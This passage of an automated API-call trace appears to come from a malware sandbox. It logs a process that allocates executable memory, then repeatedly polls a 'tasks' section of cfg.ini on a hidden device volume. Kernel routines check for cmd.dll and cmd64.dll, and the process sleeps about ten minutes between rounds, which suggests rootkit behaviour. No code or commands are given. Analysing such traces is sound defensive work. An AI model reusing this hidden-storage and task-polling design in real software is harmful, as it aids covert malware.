_Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.994] KeEnterCriticalRegion () [0127.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.994] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.994] IdePortDispatch () returned 0x103 [0127.995] KeWaitForMutexObject () returned 0x0 [0127.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.995] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.995] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.995] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.995] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.995] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfaa80 [0127.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.995] KeLeaveCriticalRegion () [0127.995] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.995] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.995] KeEnterCriticalRegion () [0127.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.995] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.995] KeLeaveCriticalRegion () [0127.995] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.995] KeEnterCriticalRegion () [0127.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.995] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.995] IdePortDispatch () returned 0x103 [0127.996] KeWaitForMutexObject () returned 0x0 [0127.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.996] KeLeaveCriticalRegion () [0127.996] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.996] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.996] KeEnterCriticalRegion () [0127.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca4000 [0127.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.996] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.996] IdePortDispatch () returned 0x103 [0127.996] KeWaitForMutexObject () returned 0x0 [0127.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.996] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.996] IdePortDispatch () returned 0x103 [0127.997] KeWaitForMutexObject () returned 0x0 [0127.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.997] KeLeaveCriticalRegion () [0127.997] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.997] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.997] KeEnterCriticalRegion () [0127.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.997] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.997] KeLeaveCriticalRegion () [0127.998] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.998] KeEnterCriticalRegion () [0127.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.998] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.998] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.998] KeLeaveCriticalRegion () [0127.998] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.998] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.998] KeEnterCriticalRegion () [0127.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.998] ExFreePoolWithTag (P=0xfffffa8003bfaa80, Tag=0x0) [0127.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.998] KeLeaveCriticalRegion () [0127.998] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.998] ReleaseMutex (hMutex=0xf0) returned 1 [0127.998] Sleep (dwMilliseconds=0x927c0) [0128.009] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.009] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.009] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.009] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.009] KeEnterCriticalRegion () [0128.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.009] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.009] IdePortDispatch () returned 0x103 [0128.009] KeWaitForMutexObject () returned 0x0 [0128.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.009] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.009] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.009] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.009] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.009] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfaa80 [0128.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.009] KeLeaveCriticalRegion () [0128.009] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.009] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.010] KeEnterCriticalRegion () [0128.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.010] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.010] KeLeaveCriticalRegion () [0128.010] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.010] KeEnterCriticalRegion () [0128.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.010] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.010] IdePortDispatch () returned 0x103 [0128.010] KeWaitForMutexObject () returned 0x0 [0128.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.010] KeLeaveCriticalRegion () [0128.010] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.010] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.010] KeEnterCriticalRegion () [0128.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca7000 [0128.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.011] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.011] IdePortDispatch () returned 0x103 [0128.011] KeWaitForMutexObject () returned 0x0 [0128.011] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.011] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.011] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.011] IdePortDispatch () returned 0x103 [0128.011] KeWaitForMutexObject () returned 0x0 [0128.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.011] KeLeaveCriticalRegion () [0128.011] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.012] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.012] KeEnterCriticalRegion () [0128.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.012] KeLeaveCriticalRegion () [0128.012] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.012] KeEnterCriticalRegion () [0128.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.012] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.012] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.012] KeLeaveCriticalRegion () [0128.012] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.012] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.012] KeEnterCriticalRegion () [0128.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.013] ExFreePoolWithTag (P=0xfffffa8003bfaa80, Tag=0x0) [0128.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.013] KeLeaveCriticalRegion () [0128.013] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.013] ReleaseMutex (hMutex=0xf0) returned 1 [0128.013] Sleep (dwMilliseconds=0x927c0) [0128.031] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.032] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.032] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.032] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.032] KeEnterCriticalRegion () [0128.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.032] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.032] IdePortDispatch () returned 0x103 [0128.032] KeWaitForMutexObject () returned 0x0 [0128.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.032] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.032] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.032] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.032] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.032] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfecb0 [0128.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.032] KeLeaveCriticalRegion () [0128.032] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.032] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.032] KeEnterCriticalRegion () [0128.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.032] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.032] KeLeaveCriticalRegion () [0128.033] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.033] KeEnterCriticalRegion () [0128.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.033] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.033] IdePortDispatch () returned 0x103 [0128.033] KeWaitForMutexObject () returned 0x0 [0128.033] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.033] KeLeaveCriticalRegion () [0128.033] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.033] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.033] KeEnterCriticalRegion () [0128.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.033] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cac000 [0128.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.033] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.033] IdePortDispatch () returned 0x103 [0128.034] KeWaitForMutexObject () returned 0x0 [0128.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.034] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.034] IdePortDispatch () returned 0x103 [0128.034] KeWaitForMutexObject () returned 0x0 [0128.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.034] KeLeaveCriticalRegion () [0128.034] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.035] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.035] KeEnterCriticalRegion () [0128.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.035] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.035] KeLeaveCriticalRegion () [0128.035] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.035] KeEnterCriticalRegion () [0128.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.035] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.035] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfed70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.035] KeLeaveCriticalRegion () [0128.035] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.035] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.035] KeEnterCriticalRegion () [0128.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.035] ExFreePoolWithTag (P=0xfffffa8003bfecb0, Tag=0x0) [0128.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.035] KeLeaveCriticalRegion () [0128.035] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.035] ReleaseMutex (hMutex=0xf0) returned 1 [0128.036] Sleep (dwMilliseconds=0x927c0) [0128.054] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.054] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.054] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.054] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.054] KeEnterCriticalRegion () [0128.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.055] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.055] IdePortDispatch () returned 0x103 [0128.055] KeWaitForMutexObject () returned 0x0 [0128.055] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.055] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.055] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.055] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.055] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.055] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd760 [0128.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.055] KeLeaveCriticalRegion () [0128.055] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.055] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.055] KeEnterCriticalRegion () [0128.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.055] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.055] KeLeaveCriticalRegion () [0128.055] _snprintf (in: 